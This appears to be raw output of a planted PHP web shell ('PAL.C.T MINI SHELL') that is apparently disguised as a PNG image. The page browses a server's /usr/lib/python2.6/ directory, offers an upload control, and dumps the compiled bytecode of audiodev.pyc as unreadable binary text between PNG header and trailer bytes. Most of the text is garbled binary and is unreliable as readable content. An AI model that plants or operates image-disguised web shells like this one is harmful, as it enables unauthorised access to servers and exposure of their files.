php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/
upload
files >> //usr/lib/python2.6/audiodev.pyc

Lc@sdZddklZeddd[ddgZdefdYZd	dd
YZdddYZd
ZddZ
edjoe
ndS(sGClasses for manipulating audio devices (currently only for Sun and SGI)i(twarnpy3ks2the audiodev module has been removed in Python 3.0t
stackleveliterrortAudioDevcBseZRS((t__name__t
__module__(((s/usr/lib/python2.6/audiodev.pyRstPlay_Audio_sgicBseZdZd
ZZZdZdZdZ	dZ
dZdZdZ
dZd	Zd
ZdZdZRS(ic	Csddk}d|ifd|ifd|ifd|ifd|ifd|ifd|ifg|_d	|i	fd
|i
fd|ifg|_d	|i
fd
|ifd|ifg|_d	|_dS(
NiiiDi}i"Vi>i+i@iiii(tALt
RATE_48000t
RATE_44100t
RATE_32000t
RATE_22050t
RATE_16000t
RATE_11025t	RATE_8000t
frameratelisttMONOtSTEREOtQUADROt
nchannelslisttSAMPLE_8t	SAMPLE_16t	SAMPLE_24t
sampwidthlisttclassinited(tselfR((s/usr/lib/python2.6/audiodev.pyt	initclassscCsddk}ddk}|ip|ing|_|idg|_|i|_d|_	d|_
d|_d|_
d|_dS(Nii(talRRRt	oldparamstOUTPUT_RATEtparamst	newconfigtconfigtinited_outratetinited_widthtinited_nchannelstNonet	convertertport(RRR((s/usr/lib/python2.6/audiodev.pyt__init__+s
						cCsa|io|in|io;ddk}ddk}|i|i|ig|_ndS(Ni(R&tstopRRRt	setparamstDEFAULT_DEVICE(RRR((s/usr/lib/python2.6/audiodev.pyt__del__9s

cCsT|ipdSddk}x(|iidjo|idqW|idS(Niig?(R&ttimet	getfilledtsleepR((RR,((s/usr/lib/python2.6/audiodev.pytwaitAs
cCsm|io|iid|_n|io;ddk}ddk}|i|i|ig|_ndS(Ni(R&t	closeportR$RRRR)R*(RRR((s/usr/lib/python2.6/audiodev.pyR(Is



cCsOxH|iD]4\}}||jo||id<d|_Pq
q
WtddS(Nisbad output rate(RRR!R(Rtratetrawtcooked((s/usr/lib/python2.6/audiodev.pyt
setoutrateRs


		cCsx|iD]7\}}||jo|ii|d|_Pq
q
W|djo8ddk}d|_|ii|i|i|_n
tddS(Niiisbad sample width(	RR tsetwidthR"RRtulaw2linR%R(RtwidthR2R3R((s/usr/lib/python2.6/audiodev.pytsetsampwidth[s

		
	cCsRxK|iD]7\}}||jo|ii|d|_Pq
q
WtddS(Nisbad # of channels(RR tsetchannelsR#R(Rt	nchannelsR2R3((s/usr/lib/python2.6/audiodev.pytsetnchannelsjs

		cCs|io|ip
tdn|ippddk}ddk}|idd|i|_|i|_	|i
|i|i	|i|i|in|i
o|i
|}n|ii|dS(Nsparams not specifieditPythontw(R!R#RR&RRtopenportR RRt	getparamsR*R)R%t
writesamps(RtdataRR((s/usr/lib/python2.6/audiodev.pytwriteframesss



cCs |io|iiSdSdS(Ni(R&R-(R((s/usr/lib/python2.6/audiodev.pyR-s
cCs)|io|iiS|iiSdS(N(R&tgetfillableR tgetqueuesize(R((s/usr/lib/python2.6/audiodev.pyRCs
cCsddk}|i|dS(Nii(taudioopR6(RRARE((s/usr/lib/python2.6/audiodev.pyR6sN(RRRR$RRRRR'R+R/R(R4R8R;RBR-RCR6(((s/usr/lib/python2.6/audiodev.pyRs												
			tPlay_Audio_suncBsYeZdZdZdZdZdZdZdZdZ	dZ
RS(	cCsLd|_d|_d|_d|_d|_d|_d|_d|_dS(Ni(	toutratet	sampwidthR:R!R"R#R$R%R&(R((s/usr/lib/python2.6/audiodev.pyR's								cCs|idS(N(R((R((s/usr/lib/python2.6/audiodev.pyR+scCs||_d|_dS(Ni(RGR!(RR1((s/usr/lib/python2.6/audiodev.pyR4s	cCs||_d|_dS(Ni(RHR"(RR7((s/usr/lib/python2.6/audiodev.pyR8s	cCs||_d|_dS(Ni(R:R#(RR:((s/usr/lib/python2.6/audiodev.pyR;s	cCs|io|io|ip
tdn|ipddk}ddk}|id|_|ii}|i	|_
|i|_|i
djod|_|i|_qd|i
|_|i|_|ii|n|io|i|}n|ii|dS(Nsparams not specifiediR=ii(R!R"R#RR&tsunaudiodevtSUNAUDIODEVtopentgetinfoRGt
o_sample_rateR:t
o_channelsRHto_precisiont
ENCODING_ULAWt
o_encodingtENCODING_LINEARtsetinfoR%twrite(RRARIRJtinfo((s/usr/lib/python2.6/audiodev.pyRBs"

	
cCs*|ipdS|ii|idS(N(R&tdrainR((R((s/usr/lib/python2.6/audiodev.pyR/s

cCs5|io'|ii|iid|_ndS(N(R&tflushtcloseR$(R((s/usr/lib/python2.6/audiodev.pyR(s


cCs |io|iiSdSdS(Ni(R&t	obufcount(R((s/usr/lib/python2.6/audiodev.pyR-s
(RRR'R+R4R8R;RBR/R(R-(((s/usr/lib/python2.6/audiodev.pyRFs								cCsyddk}Wnytj
omyddk}tSWqtj
o@yddk}Wntj
otdqX|iSqXn	XtSdS(Nisno audio device(RtImportErrorRIRFt	Audio_macRtPlay_Audio_macR(RRIR[((s/usr/lib/python2.6/audiodev.pyRscCsddk}|ido|id}nd}ddk}|i|d}|G|iGHt}|i|i|i|i	|i
|i|i|i	|i}x6|i|}|pPnt
|GH|i|q|idS(Niisf:just samples:just.aiftr(tsystargvtaifcRKR?RR4tgetframerateR8tgetsampwidthR;tgetnchannelst
readframestlenRBR/(tfnR^R`taftptBUFSIZRA((s/usr/lib/python2.6/audiodev.pyttests&	 t__main__N(((t__doc__twarningsRt__all__t	ExceptionRRRFRR$RjR(((s/usr/lib/python2.6/audiodev.pyt<module>sI	

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`